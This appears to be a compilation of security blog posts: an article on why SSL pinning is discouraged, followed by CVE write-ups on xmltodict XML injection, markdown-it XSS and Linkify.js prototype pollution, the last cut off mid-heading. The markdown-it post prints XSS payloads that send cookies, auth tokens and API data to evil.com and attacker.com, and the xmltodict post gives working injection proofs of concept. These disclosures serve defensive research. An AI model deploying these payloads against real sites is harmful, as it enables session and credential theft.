In the past, there were incidents where CAs were breached or tricked into issuing certificates to impostors (for example, the DigiNotar and Comodo breaches in 2011 led to fraudulent certificates for major domains). Pinning gave developers peace of mind that even if a malicious or compromised CA issued a cert for their API domain, the app would reject it because it wasn't the exact cert/key that was pinned. This narrowed the trust scope to only the known server identity.
Mitigating User-Installed or Device CAs:
Mobile devices can have user-added root certificates (especially Android devices pre-Android 7 trusted user-added CAs by default). Attackers or malware could potentially install a fake root CA on a device to intercept traffic. With pinning, the app ignores any such new CAs, it only trusts the pinned cert, preventing MITM via local malicious roots. Similarly, corporate or public Wi-Fi networks that hijack traffic with their own trusted proxy cert would be blocked by pinning (only the real server cert passes).
Ensuring Exactly the Right Server:
Pinning was appealing for high-security apps (banking, payments, healthcare) as a form of "lockdown", you know exactly which server or CA your app should talk to. By hardcoding that trust, developers aimed to reduce the attack surface. It's a bit of a belt-and-suspenders approach: even if the default PKI ecosystem were to falter, the pinned cert or key remains as an uncompromised source of truth.
Preventing Silent Fail-open Scenarios:
In a normal TLS scenario, if a certificate is untrusted, the connection fails, but some developers feared advanced attackers could somehow exploit users into bypassing warnings. In mobile apps, there typically is no interactive warning (the app either connects or it doesn't), so pinning was seen as a way to guarantee no unexpected certs are accepted under the hood. The app's logic would simply refuse anything except the known good certificate, with no option to proceed otherwise.

These benefits made SSL pinning a widely recommended practice for a time. Security guides often listed certificate pinning as an important control to prevent advanced MITM attacks. Many developers implemented it hoping to gain an extra layer of security for sensitive data in transit, on top of TLS.
In summary, the original promise of pinning was improved security trust, ensuring that a mobile app is truly talking to its intended server and not an impostor, even in scenarios where the global CA system might be undermined.

Why SSL Pinning Is No Longer Recommended

In recent years, consensus has shifted: the downsides of SSL pinning now clearly outweigh its benefits in most cases. Both Google and Apple (stewards of Android and iOS) advise against using certificate pinning for typical apps, and the broader security community considers pinning a fragile solution. Here are the key reasons why SSL pinning is considered obsolete or inadvisable today:

Fragility and Risk of Outages

Pinning makes your app's connectivity tightly bound to a specific certificate or key, which will inevitably change over time. Certificates expire (often yearly, as industry rules now cap their validity), CAs may rotate or be replaced, or you might switch to a different certificate provider. When that happens, a pinned app will break, it will refuse to connect to the server because the "expected" certificate changed.

The only fix is to release an app update with the new pin, and all users must upgrade before connectivity is restored. This creates a serious risk of downtime.

"If the pinned certificate changes due to renewal, revocation, or CA migration, the application will stop working until a new version of the app with an updated certificate is released,"
as one 2025 analysis noted, meaning apps can suddenly break and critical services become unavailable until a fix is deployed and adopted.

Google's official Android guidance explicitly cautions that certificate pinning is not recommended because "future server configuration changes, such as changing to another CA, will render apps with pinned certificates unable to connect to the server without a client software update."

In other words, pinning couples your app to your current certificate infrastructure so tightly that any routine change becomes a potentially breaking change.

High Maintenance Overhead

Because of the fragility above, using pinning responsibly requires meticulous planning and maintenance. Developers need to anticipate certificate rotations and have processes in place to update pins proactively.

Best practices for pinning call for including multiple backup pins (e.g. pinning to a set of public keys) and short pin lifetimes, in an attempt to mitigate the risk of lockout.

Apple's documentation warns that if you do pin, you must "think long term" and plan for both planned and unplanned certificate changes, including shipping app updates on short notice if something changes. Many teams simply do not have the operational rigor to manage this without error.

Real-world incidents show that organizations often forget about pins they set. For example, Cloudflare observed a surge in customer outages in 2024 after routine certificate authority changes,

"almost all customers that were impacted by the change were unaware that they had a certificate pin in place."

These teams had adopted a "set and forget" mentality, only to have their apps suddenly unable to connect when the backend's certificate chain changed.

In today's agile DevOps environment of frequent certificate renewals, pinning turns certificate management into a landmine; if you're not extremely careful, a normal cert update could brick your app's network functionality.

Limited Security Benefits (and False Sense of Security)

Ironically, the security gains from pinning are not as strong as they once appeared. Pinning is a client-side control that can be bypassed by determined attackers who have control over the runtime environment.

Security testers and malicious actors routinely use tools like Frida (a dynamic instrumentation toolkit) or custom frameworks to hook or modify app behavior and disable SSL pinning checks at runtime.

In other words, an attacker who is sophisticated enough to perform an active MITM on your app is likely capable of also defeating pinning (by rooting/jailbreaking the device or using instrumentation). This means pinning often only stops casual or passive attackers, but not a dedicated adversary, giving developers an illusion of security.

As one industry blog put it:

"SSL pinning is often recommended as a best practice, but in reality, it is an illusion of security ... it can easily be bypassed by attackers, making it more of an inconvenience for developers than a robust security measure."

Also, consider the scenario of a compromised server key: if the very certificate or key you pinned is stolen by an attacker, pinning won't help, the attacker can then impersonate the server with the valid certificate, and the app will happily trust it.

Pinning doesn't account for key compromise (whereas the broader PKI ecosystem at least attempts revocation, etc.). In summary, pinning is not a silver bullet, it stops some attacks, but is far from foolproof.

No Protection Against CA Ecosystem Improvements

The original motivation of pinning, fear of rogue CAs, has been largely mitigated by improvements in the industry (more on this later). Browsers and operating systems have become much more aggressive at policing CAs and reacting to mis-issuance. Major tech companies maintain tight control of root trust stores and have shown willingness to rapidly distrust CAs that go astray.

Initiatives like Certificate Transparency (CT) now provide visibility into every certificate issued, making it hard for a bad cert to go unnoticed. In essence, the public PKI infrastructure is more secure and agile than it was a decade ago, with shortened certificate lifetimes and automated issuance.

The cost-benefit equation has changed: the risk of a rogue certificate (which pinning would protect against) is now quite low, whereas the risk of your own app breaking due to pinning is comparatively higher.

The OWASP Foundation's guidance as of 2025 concludes that:

"Considering the current risks in the CA and browser space and comparing them to the risk of down time, pinning is not recommended."

In short, the security community believes the web PKI + modern enhancements can be trusted enough in most cases, such that pinning's marginal benefit isn't worth its very real costs.

Misuse and Implementation Pitfalls

Pinning is tricky to implement correctly. Many developers in the past have made mistakes like:

pinning the leaf certificate only (which changes at every renewal),
pinning only one of several backend hosts,
not providing a graceful fallback.

A notorious example in web security was HTTP Public Key Pinning (HPKP), a now-deprecated mechanism where servers told browsers to pin keys, many sites ended up bricking themselves by pinning incorrectly (so much so that browsers removed HPKP support entirely by 2019).

In mobile apps, a common mistake is failing to include a backup key. Both Android and iOS docs urge that if you must pin, include multiple pins (e.g., the current key and a future key under your control, or pin a CA's key).

Another pitfall is developers sometimes confuse certificate validation with pinning and accidentally disable validation, thinking they'll "do pinning manually." Google explicitly warns against solutions that install a do-nothing TrustManager (which accepts all certs), that's worse than no pinning, as it disables security entirely.

Overall, there's a lot of room for error, and an improperly implemented pin can downgrade security or cause needless failures. It's a fragile mechanism requiring careful engineering discipline that many teams lack.

Interference with Debugging, Testing, and User Environments

SSL pinning doesn't just hinder attackers, it can hinder legitimate scenarios too. Developers and QA/Security testers often need to intercept HTTPS traffic for debugging (using tools like Charles Proxy or Burp Suite), but a pinned app will simply refuse to connect through these tools because the proxy's certificate isn't the pinned one.

This means teams have to build backdoors or special debug builds without pinning to allow testing, adding complexity. From a penetration testing perspective, pinning can slow down the assessment (testers must use jailbreak/root techniques to bypass it), but as noted, it's not a serious roadblock, just an inconvenience.

More importantly, pinning can disrupt real-world network environments. Many enterprise networks and antivirus products legitimately intercept TLS traffic (with the device's consent) to scan for threats, using a private CA installed on the device.

A corporate employee running your app behind such a proxy or a user with a network security tool might find your app doesn't work at all due to pinning. As OWASP notes:

"Many corporate environments use MITM based TLS inspection, which issues cloned certificates from a corporate trusted CA. While the naming information would match, the certificate’s public key would not. This could create an unintended denial of service on the application."

In other words, your app could be completely unable to function on certain networks because it rejects the proxy's certificate, even if that proxy is trusted by the operating system. This makes pinning a liability in terms of compatibility and user experience.

It can also complicate operational troubleshooting: if an outage occurs (say your server switches to a new cert chain), it might not be immediately obvious to developers that the pinning is the culprit, leading to longer downtime.

Given these issues, it's no surprise that platform providers have changed their stance. Google's Android team and Apple both discourage SSL pinning for most apps.

The Android Developers Guide bluntly states that pinning:

"is not recommended for Android apps"

due to exactly the kinds of fragility and maintenance problems described.

Apple's guidance is similar: an official Apple Developer Technical Note from 2021 emphasizes that:

"Pinning certificates is not required" for security and "in most cases, pinning is not necessary and should be avoided"

with default TLS trust sufficing for the vast majority of apps.

Both Google and Apple essentially ask developers: are you sure you need to do this? Only in very special circumstances (like complying with a specific regulatory requirement to trust a private CA, or an extremely high-risk threat model) might pinning be justified, and even then, it must be managed carefully with fallback plans.

The overarching message is clear: SSL pinning has become a legacy approach and is no longer a best practice for mobile app security.

Modern Best Practices for Securing Mobile HTTPS Communications

With SSL pinning largely deprecated, what should mobile developers and security testers focus on to ensure secure HTTPS connections? The good news is that today's platforms and infrastructure offer many layers of protection by default. Here are current best practices for securing network communication in mobile apps without resorting to fragile pinning:

1. Rely on the Built-in PKI and Trust Stores

Both Android and iOS maintain a system CA trust store that is continuously updated with trusted root certificates. These platforms (Google, Apple, Mozilla, Microsoft) collaboratively manage trust and will revoke or distrust bad CAs to protect users.

Unless you have a specific need, trust the system to do its job. The major OS vendors have made security of the certificate ecosystem a priority and have far more resources to evaluate CAs than any individual app developer.

In modern Android and iOS, apps by default trust only well-vetted public CAs (and on Android, user-added CAs are not trusted by apps targeting recent API levels, unless you opt-in). This significantly limits the risk of a rogue certificate being accepted.

In essence, leveraging the default PKI means you inherit improvements like CA/Browser Forum governance, browser/OS root programs, and timely security updates. Pinning is usually unnecessary because the default trust model is robust for most use cases.

2. Enable Certificate Transparency (CT) and Monitoring

Certificate Transparency is a system of public logs that record all certificates issued by publicly trusted CAs. CT has become mandatory for CAs (browsers will distrust certificates not present in CT logs).

Mobile apps can take advantage of this by requiring CT compliance and monitoring logs for their domains.

Android: Network Security Configuration allows an opt-in for certificate transparency, meaning your app will only accept certificates that have valid SCTs (Signed Certificate Timestamps) proving they were logged in CT.
iOS: Provides the NSRequiresCertificateTransparency flag in App Transport Security to require CT for certain domains, as noted by Apple's engineers.

Enforcing CT means that if someone (even a trusted CA) tries to issue a certificate for your domain behind your back, it would not be accepted by the app unless it's publicly logged (and you could detect it).

Apple's security team has highlighted CT as a "great tool" to verify server certificates and recommended checking for CT compliance when evaluating a server's trustworthiness.

In practice, you should also set up CT monitoring: there are services (and free tools) that alert you if a new certificate for your app's domains appears in the logs. This way, you can quickly respond to any misissued or malicious certificates (e.g., by revoking them or alerting the CA) without needing to pin.

CT provides transparency and accountability in the certificate ecosystem, covering the threat that pinning was meant to catch, but in a far more flexible way.

3. Use HSTS and Secure Server Configurations

On the server side, enable HTTP Strict Transport Security (HSTS) for your domains. HSTS instructs browsers (and by extension in-app web views) to never downgrade to HTTP and to automatically redirect to HTTPS.

While a mobile app's own network calls will typically be coded to use HTTPS already, HSTS is still valuable if any part of your app uses web content or if users might interact with links to your domain. It eliminates certain MITM tricks (like stripping HTTPS to HTTP).

Moreover, even though mobile apps don't inherently parse HSTS headers, having HSTS on your API domain means if someone tries to access it via a browser (for example, an OAuth login flow or a user following a link), they'll be protected.

Consider getting your domain on the HSTS preload list if appropriate, which ensures all clients know to use HTTPS from the first visit.

Alongside HSTS, make sure your TLS configuration on the server is solid:

Support the latest protocols (TLS 1.3 and 1.2, drop older versions).
Use strong cipher suites.
Keep your server's TLS library up to date.

The good news is that mobile platforms enforce this to some extent:

iOS's App Transport Security by default requires TLS 1.2+ and reasonable ciphers.
Android will by default use TLS 1.3 when available.

So adhere to those defaults, don't weaken security by allowing old protocols. Enabling features like OCSP Stapling and checking certificate revocation status can also help (though revocation checking in mobile apps can be tricky and is often bypassed if not stapled).

In summary: treat your server's TLS config with the same care as you would for a banking website: score an "A" on SSL Labs, use modern TLS and strong algorithms. A robust TLS setup reduces the risk of any successful MITM.

4. Leverage Public Key Infrastructure Extensions (CAA, etc.)

The broader PKI ecosystem offers additional tools to harden certificate issuance. One such measure is CAA (Certificate Authority Authorization) DNS records.

By publishing CAA records, you specify which CAs are allowed to issue certificates for your domain. This won't directly be known to the app, but it prevents unauthorized CAs from issuing certs in the first place (or at least, compliant CAs will refuse if they're not on your list).

For example, you might set a CAA record to only allow pki.goog (Google Trust Services) or Let's Encrypt for your domain. This way, even if someone tricked a lesser-known CA, that CA should deny the request.

Using CAA in combination with CT monitoring significantly lowers the likelihood of misissued certs going unnoticed.

Another emerging concept is DANE (DNS-based Authentication of Named Entities), where the TLS public key or certificate is pinned in DNS (secured by DNSSEC). DANE isn't widely adopted in mobile apps yet, but it's an interesting future path.

The key point is that there are standards-based ways to lock down certificate issuance and validity that operate at the infrastructure level, rather than baked into app code.

5. Follow Platform Security Best Practices

Use the security features provided by Android and iOS rather than reinventing the wheel.

On Android:
Use Network Security Configuration files to declaratively enforce policies:
- disallow cleartext (HTTP) entirely,
- add any custom CA if you genuinely need it (for instance, in a debug build or for an internal server),
- enable the certificate transparency requirement as mentioned earlier.
The Network Security Config also allows a debug-overrides section, so you can allow certain debugging CAs during development without affecting production builds, a much safer approach than writing custom trust logic.
On iOS:
App Transport Security (ATS) is enabled by default, which already requires HTTPS connections, strong ciphers, and certificate trust built-in. Avoid turning off ATS exceptions unless absolutely necessary.

If you have to allow an HTTP endpoint or a weaker cipher for some reason, scope it narrowly in your Info.plist.

Essentially, align with the platform's default security posture: both iOS and Android by 2025 have very sane defaults that eliminate most trivial MITM opportunities (e.g. no user-added CA trust on Android by default for new apps, mandatory TLS, etc.).

Where you have special needs, prefer configuration to code. And if you ever consider doing pinning-like restrictions, use the provided configuration mechanisms rather than custom code, they are less error-prone and easier to update.

Conclusion

SSL pinning had its moment in the spotlight as a clever solution to bolster connection security in mobile apps. But as we've discussed, that solution has proven to be a double-edged sword. Over time, the drawbacks, unexpected outages, difficult maintenance, compatibility problems, and limited real security gains, have become apparent through hard experience.

In the meantime, the security of the web's PKI infrastructure has improved with initiatives like shorter certificate lifetimes, Certificate Transparency, and stricter CA oversight. The competitive advantage today is to work with those improvements rather than against them.

Industry leaders and platform providers now virtually all agree: SSL pinning is largely obsolete as a best practice. Unless you have a truly compelling use case and the capacity to manage it correctly, you should avoid pinning in your Android and iOS apps.

Google says don't do it.
Apple says you shouldn't need it.

If you still think you need pinning, carefully weigh the trade-offs and ensure you implement it with multiple pins, backups, and a plan for rotation, and be prepared for the headaches that come with it.

For the vast majority of mobile apps, you'll achieve far better security and reliability by embracing modern TLS configurations and platform security features:

Use HTTPS everywhere (mandatory on mobile now anyway).
Enforce strong TLS.
Turn on certificate transparency enforcement.
Keep an eye on your domain's certificates via CT logs.
Harden your servers and use measures like HSTS and CAA to prevent and detect misuse of certificates.

And remember that ultimately, security is multilayered: the transport layer is just one piece. A secure app also involves proper authentication, data encryption at rest, code integrity checks, and so on.

In 2025, the consensus is that it's time to move on from SSL pinning.
What once may have provided a sense of security is now understood to be more trouble than it's worth in most cases. By following current best practices and the guidance of Android and iOS developers, you can secure your app's network communication in a robust way without resorting to pinning, achieving security and stability for both your development process and your users.

Sources

CVE-2025-9375: XML Injection Vulnerability in xmltodict 0.14.2 - Mono

Mon, 25 Aug 2025 00:00:00 GMT

Executive Summary

I discovered an XML Injection vulnerability in xmltodict version 0.14.2, a popular Python library with over 1.5 million weekly downloads on PyPI. This vulnerability allows attackers to inject arbitrary XML markup through crafted dictionary keys, potentially leading to XML structure manipulation, data corruption, and in web contexts, cross-site scripting (XSS) attacks.

The vulnerability stems from insufficient input validation in the _emit function, where user-controlled dictionary keys are directly used as XML tag names without any sanitization or validation.

Background: Understanding xmltodict

xmltodict is a Python library that provides bidirectional conversion between XML and Python dictionaries. Its primary functions are:

xmltodict.parse() - Converts XML to Python dictionaries
xmltodict.unparse() - Converts Python dictionaries back to XML

The library is widely used in web applications, APIs, and data processing pipelines where XML manipulation is required. Its popularity makes this vulnerability particularly concerning from a supply chain security perspective.

Technical Analysis

The Vulnerable Code Path

The vulnerability resides in the _emit function within xmltodict.py (lines 378-451). Let's examine the critical code path:

def _emit(key, value, content_handler,
          attr_prefix='@',
          cdata_key='#text',
          depth=0,
          preprocessor=None,
          pretty=False,
          newl='\n',
          indent='\t',
          namespace_separator=':',
          namespaces=None,
          full_document=True,
          expand_iter=None):
    key = _process_namespace(key, namespaces, namespace_separator, attr_prefix)
    if preprocessor is not None:
        result = preprocessor(key, value)
        if result is None:
            return
        key, value = result
    # ... processing logic ...
    
    # VULNERABLE LINE: Direct use of user input as XML tag
    content_handler.startElement(key, AttributesImpl(attrs))  # Line 436
    
    # ... more processing ...
    
    content_handler.endElement(key)  # Line 449

Root Cause Analysis

The vulnerability occurs because:

No Input Validation: The key parameter (dictionary keys from user input) is used directly as an XML element name
Missing Sanitization: No escaping or validation is performed on the key before passing it to startElement()
Trust Assumption: The code assumes dictionary keys are safe XML tag names

XML Tag Name Requirements vs Reality

Valid XML tag names must follow these rules:

Start with a letter or underscore
Contain only letters, digits, hyphens, periods, and underscores
Cannot contain spaces or special characters like <, >, &

The vulnerability exploits the fact that xmltodict doesn't enforce these constraints.

Exploitation Scenarios

Basic XML Structure Manipulation

Payload:

malicious_data = {"item><injected>malicious content</injected><item": "value"}
xml_output = xmltodict.unparse(malicious_data, full_document=False)
print(xml_output)

Output:

<item><injected>malicious content</injected><item>value</item><injected>malicious content</injected><item>

The injected XML breaks the intended structure and introduces arbitrary elements.

Advanced Multi-Stage Injection

Payload:

complex_payload = {
    "product><price>999999</price><description>HACKED": "legitimate_value",
    "legitimate_field": "normal_data"
}

This could manipulate e-commerce XML data by injecting false pricing information.

Web Application Context

In web applications that render XML output in browsers:

Payload:

xss_payload = {"item><script>alert('XSS')</script><item": "data"}

When this XML is rendered in a web context without proper escaping, it results in JavaScript execution.

Proof of Concept

Here's a complete demonstration:

#!/usr/bin/env python3
import xmltodict

def demonstrate_xml_injection():
    """Demonstrates the XML injection vulnerability"""

    print("=== CVE-2025-9375 XML Injection PoC ===\n")

    # Test Case 1: Basic structure breaking
    print("1. Basic XML structure manipulation:")
    payload1 = {"item><injected>MALICIOUS CONTENT</injected><dummy": "value"}
    result1 = xmltodict.unparse(payload1, full_document=False)
    print(f"Input: {payload1}")
    print(f"Output: {result1}")
    print()

    # Test Case 2: Attribute injection
    print("2. Attribute injection:")
    payload2 = {"item attribute='malicious'": "value"}
    result2 = xmltodict.unparse(payload2, full_document=False)
    print(f"Input: {payload2}")
    print(f"Output: {result2}")
    print()

    # Test Case 3: CDATA breaking
    print("3. CDATA section injection:")
    payload3 = {"item><![CDATA[]]><script>alert('XSS')</script><dummy": "value"}
    result3 = xmltodict.unparse(payload3, full_document=False)
    print(f"Input: {payload3}")
    print(f"Output: {result3}")
    print()

if __name__ == "__main__":
    demonstrate_xml_injection()

Expected Output:

=== CVE-2025-9375 XML Injection PoC ===

1. Basic XML structure manipulation:
Input: {'item><injected>MALICIOUS CONTENT</injected><dummy': 'value'}
Output: <item><injected>MALICIOUS CONTENT</injected><dummy>value</item><injected>MALICIOUS CONTENT</injected><dummy>

2. Attribute injection:
Input: {"item attribute='malicious'": 'value'}
Output: <item attribute='malicious'>value</item attribute='malicious'>

3. CDATA section injection:
Input: {"item><![CDATA[]]><script>alert('XSS')</script><dummy": 'value'}
Output: <item><![CDATA[]]><script>alert('XSS')</script><dummy>value</item><![CDATA[]]><script>alert('XSS')</script><dummy>

Impact Assessment

Real-World Impact Scenarios

API Data Corruption: REST APIs using xmltodict for XML responses could have their data structure corrupted
Configuration File Manipulation: Applications that generate XML config files could be compromised
Web Application XSS: When XML output is rendered in browsers, XSS attacks become possible
Data Processing Pipelines: ETL processes could inject malicious data into downstream systems
Document Generation: PDF or report generators using XML templates could be manipulated

Affected Systems

Any application using xmltodict.unparse() with user-controlled dictionary keys is vulnerable:

Web APIs converting JSON to XML
Configuration management systems
Data transformation pipelines
Document generation services
Integration platforms

Mitigation Strategies

Input Validation: Validate dictionary keys before passing to unparse()

import re
def safe_xml_key(key):
    # Only allow valid XML name characters
    return re.match(r'^[a-zA-Z_][a-zA-Z0-9_.-]*$', key) is not None

Key Sanitization: Sanitize keys to remove dangerous characters

def sanitize_dict_keys(data):
    if isinstance(data, dict):
        sanitized = {}
        for key, value in data.items():
            # Replace invalid characters
            safe_key = re.sub(r'[^a-zA-Z0-9_.-]', '_', str(key))
            sanitized[safe_key] = sanitize_dict_keys(value)
        return sanitized
    return data

Alternative Libraries: Consider using libraries with better input validation.

References:

CVE-2025-7969: Markdown-it Fence Rendering XSS - Fito

Wed, 20 Aug 2025 00:00:00 GMT

TL;DR

Markdown-it 14.1.0 contains an XSS vulnerability (CVE-2025-7969) that enables arbitrary JavaScript execution through a fence rendering bypass. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.

Technical Analysis

The Core Vulnerability

The vulnerability exists in the library's fence rendering logic. Markdown-it uses a naive string check in its default_rules.fence function that bypasses all security controls when highlight functions return HTML starting with <pre:

// lib/renderer.mjs lines 48-50
if (highlighted.indexOf('<pre') === 0) {
    return highlighted + '\n'  // Direct return bypasses all sanitization
}

Fence Rendering Mechanics

When processing fenced code blocks, the library accepts user-controlled content through custom highlight functions. The vulnerability occurs when:

A custom options.highlight function processes user input
The function returns content that starts with the string <pre
Markdown-it bypasses all HTML escaping and sanitization
Malicious content is injected directly into the DOM

// Vulnerable fence processing flow
default_rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx]
  // ... language processing ...
  
  let highlighted
  if (options.highlight) {
    // User-controlled content processed here
    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
  } else {
    highlighted = escapeHtml(token.content)  // Safe path
  }

  // THE VULNERABILITY: No validation of highlight function output
  if (highlighted.indexOf('<pre') === 0) {
    return highlighted + '\n'  // Direct injection!
  }
  
  // Normal safe rendering path
  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
}

The XSS Injection Chain

Input Phase:
- User provides fenced code block with malicious content
- Content is designed to trick highlight functions into returning <pre-prefixed HTML
Processing Phase:
- Custom highlight function processes the malicious input
- Function returns HTML containing both legitimate <pre> tags and malicious payloads
Bypass Phase:
- Markdown-it's string check highlighted.indexOf('<pre') === 0 passes
- All sanitization is bypassed - content returned directly
Injection Phase:
- Malicious HTML/JavaScript executes in browser context
- No Content Security Policy or input validation can stop it at this point

Advanced Exploitation Vectors

Direct Code Block Injection

const maliciousMarkdown = `
\`\`\`javascript
<pre><code>console.log("Normal code");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;

// Highlight function that enables the vulnerability
const vulnerableHighlight = (str, lang, attrs) => {
    if (str.trim().startsWith('<pre')) {
        return str;  // Direct return enables bypass
    }
    return `<pre><code>${str}</code></pre>`;
};

Event Handler Injection

const eventHandlerPayload = `
\`\`\`html
<pre onclick="fetch('/api/user', {credentials:'include'}).then(r=>r.json()).then(d=>fetch('//evil.com/'+btoa(JSON.stringify(d))))" style="cursor:pointer;background:#f00;color:white;padding:10px;">
Click for data exfiltration
</pre>
\`\`\`
`;

DOM-Based XSS Chain

// Multi-stage attack through DOM manipulation
const domChainPayload = `
\`\`\`javascript
<pre><code>function legitimate() { return true; }</code></pre>
<script>
// Stage 1: Setup persistence
localStorage.setItem('xss_payload', 'document.body.innerHTML="<h1>PWNED</h1>"');

// Stage 2: Trigger on user interaction
document.addEventListener('click', () => {
    eval(localStorage.getItem('xss_payload'));
});
</script>
\`\`\`
`;

Bypassing Traditional Protections

Content Security Policy (CSP):
- Many CSP implementations allow inline event handlers
- The vulnerability occurs during markdown processing, before CSP evaluation
- Malicious content appears as "legitimate" markdown output
Input Sanitization:
- Traditional HTML sanitizers run after markdown processing
- The vulnerability bypasses markdown-it's internal sanitization
- Malicious content looks like valid HTML structure
Server-Side Rendering:
- XSS executes during client-side hydration
- Server logs show "legitimate" markdown processing
- Difficult to detect through traditional monitoring

Exploitation Techniques

Stored XSS via Documentation Systems

// Vulnerable documentation platform
app.post('/docs/create', (req, res) => {
    const { content, title } = req.body;
    
    // Process markdown with vulnerable highlight function
    const html = md.render(content);
    
    // Store in database - becomes persistent XSS
    database.docs.insert({
        title,
        content: html,  // Stored XSS payload
        created: new Date()
    });
});

Reflected XSS via Live Previews

// Live markdown preview endpoint (vulnerable)
app.get('/preview', (req, res) => {
    const markdown = req.query.content;
    
    // Real-time processing enables reflected XSS
    const preview = md.render(markdown);
    
    res.json({ preview });  // XSS in response
});

Supply Chain Attacks

// Malicious highlight function in compromised package
const compromisedHighlighter = (code, lang) => {
    // Legitimate highlighting
    const result = actualHighlight(code, lang);
    
    // Inject backdoor when specific conditions met
    if (code.includes('SECRET_TRIGGER')) {
        return `<pre><code>${result}</code></pre><img src="x" onerror="fetch('//attacker.com/harvest?data='+document.cookie)">`;
    }
    
    return result;
};

Advanced Payload Construction

Multi-Vector Attack

const multiVectorPayload = `
\`\`\`html
<pre id="legit"><code>function example() { return 42; }</code></pre>
<style>
#legit { display: none; }
body::after { 
  content: "Loading..."; 
  position: fixed; 
  top: 50%; 
  left: 50%; 
  transform: translate(-50%, -50%);
  font-size: 24px;
}
</style>
<script>
// Delayed execution to avoid detection
setTimeout(() => {
  // Credential harvesting
  const token = localStorage.getItem('auth_token');
  const session = document.cookie;
  
  // Data exfiltration
  fetch('//evil.com/collect', {
    method: 'POST',
    body: JSON.stringify({ token, session, url: location.href }),
    headers: { 'Content-Type': 'application/json' }
  });
  
  // Cover tracks
  document.querySelector('style').remove();
  document.getElementById('legit').style.display = 'block';
}, 2000);
</script>
\`\`\`
`;

Mitigation Strategies

Immediate Actions

Upgrade markdown-it to patched version (not yet available)
```
npm install markdown-it@latest
```

Temporary Workarounds

// Safe highlight function wrapper
function safeHighlight(originalHighlight) {
  return function(str, lang, attrs) {
    const result = originalHighlight(str, lang, attrs);
    
    // Never return content starting with <pre
    if (typeof result === 'string' && result.indexOf('<pre') === 0) {
      // Force safe rendering path
      return null;
    }
    
    return result;
  };
}

// Usage
const md = new MarkdownIt({
  highlight: safeHighlight(myHighlightFunction)
});

Secure Implementation Patterns

Output Validation (simple validatons to make a point)

function validateHighlightOutput(output, originalContent) {
  // Reject any output that starts with HTML tags
  if (/<[^>]+>/.test(output.trim().substring(0, 10))) {
    throw new Error('Highlight function returned unsafe HTML');
  }
  
  // Ensure output doesn't contain script tags or event handlers
  const dangerousPatterns = [
    /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
    /\bon\w+\s*=/gi,
    /javascript:/gi,
    /data:text\/html/gi
  ];
  
  for (const pattern of dangerousPatterns) {
    if (pattern.test(output)) {
      throw new Error('Highlight function returned malicious content');
    }
  }
  
  return output;
}

Content Security Policy

// Strict CSP for markdown content
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",
    "script-src 'self' 'unsafe-inline'",  // Only if absolutely necessary
    "object-src 'none'",
    "style-src 'self' 'unsafe-inline'",   // For syntax highlighting
    "img-src 'self' data: https:",
    "connect-src 'self'"
  ].join('; '));
  next();
});

HTML Sanitization

import DOMPurify from 'dompurify';

// Always sanitize markdown output
function renderSafeMarkdown(content, options) {
  const html = md.render(content, options);
  
  // Sanitize the final HTML output
  return DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'h1', 'h2', 'h3'],
    ALLOWED_ATTR: ['class'],
    FORBID_SCRIPT: true,
    FORBID_TAGS: ['script', 'object', 'embed', 'link'],
    FORBID_ATTR: ['onerror', 'onclick', 'onload', 'onmouseover']
  });
}

Conclusion

This vulnerability demonstrates the critical importance of output validation in markdown processing libraries. The bypass mechanism in markdown-it's fence rendering creates a significant attack surface that affects any application using custom highlight functions.

The impact is particularly severe given markdown-it's widespread adoption in documentation platforms, content management systems, and developer tools. Organizations should prioritize upgrading to patched versions (hopefully available soon) and implementing additional security layers.

References

Exploit PoC

import MarkdownIt from 'markdown-it';

// Vulnerable highlight function
const highlight = (str, lang) => {
  if (str.trim().startsWith('<pre')) {
    return str;  // This enables the bypass
  }
  return `<pre><code>${str}</code></pre>`;
};

const md = new MarkdownIt({ highlight });

const payload = `
\`\`\`javascript
<pre><code>console.log("Hello");</code></pre><img src="x" onerror="alert('XSS!')">
\`\`\`
`;

console.log(md.render(payload));

Result: XSS payload executes when the generated HTML is rendered in browser.

Impact

Stored/Reflected/DOM-based XSS in any application using vulnerable markdown-it
Affects documentation platforms, CMSs, and developer tools
CVE reserved: CVE-2025-7969

CVE-2025-8101: Linkify.js Prototype Pollution & XSS - Charly

Sat, 26 Jul 2025 00:00:00 GMT

TL;DR

Linkify.js 4.3.1 contains a prototype pollution vulnerability (CVE-2025-8101) that enables remote code execution through XSS. This post provides a technical deep dive into the vulnerability, exploitation techniques, and real-world impact scenarios.

Technical Analysis

The Core Vulnerability

At its core, the vulnerability exists in the library's attribute assignment logic. Linkify.js uses a custom assign() helper function that naively copies properties without proper validation:

export default function assign(target, properties) {
  for (const key in properties) {
    target[key] = properties[key];  // Prototype pollution vector
  }
  return target;
}

Prototype Pollution Mechanics

When processing link attributes, the library accepts user-controlled input through the options.attributes object. By providing a specially crafted object with a __proto__ property, an attacker can pollute the prototype of the base Object:

const maliciousOptions = {
  attributes: {
    __proto__: { 
      // These properties will be inherited by all objects
      onclick: 'alert("XSS")',
      onmouseover: 'alert("XSS")',
      // ... other malicious attributes
    }
  }
};

The DOM XSS Chain

Initialization Phase:
- Application initializes Linkify with user-controlled options
- Malicious attributes are merged into the prototype chain
DOM Injection:
- When links are rendered, they inherit the polluted prototype
- Event handlers are automatically bound through the prototype chain
- No direct assignment of malicious code is visible in the DOM

Advanced Exploitation Vectors

Stored XSS via API Endpoints

// Backend API handler (vulnerable)
app.post('/api/comment', (req, res) => {
  const { content } = req.body;
  // Process content with vulnerable Linkify version
  const processed = linkifyHtml(content, req.user.preferences);
  saveToDatabase(processed);  // Stored XSS
});

Reflected XSS via URL Parameters

// Client-side rendering (vulnerable)
const params = new URLSearchParams(window.location.search);
const userContent = params.get('search');
document.body.innerHTML = linkifyHtml(userContent);

Bypassing Traditional Protections

Content Security Policy (CSP):
- Many CSP implementations allow 'unsafe-inline' for event handlers
- Even with strict CSP, javascript: URIs might be allowed for navigation
Input Sanitization:
- Most HTML sanitizers don't catch prototype pollution
- The attack happens at the JavaScript level, not in the HTML

Mitigation Strategies

Immediate Actions

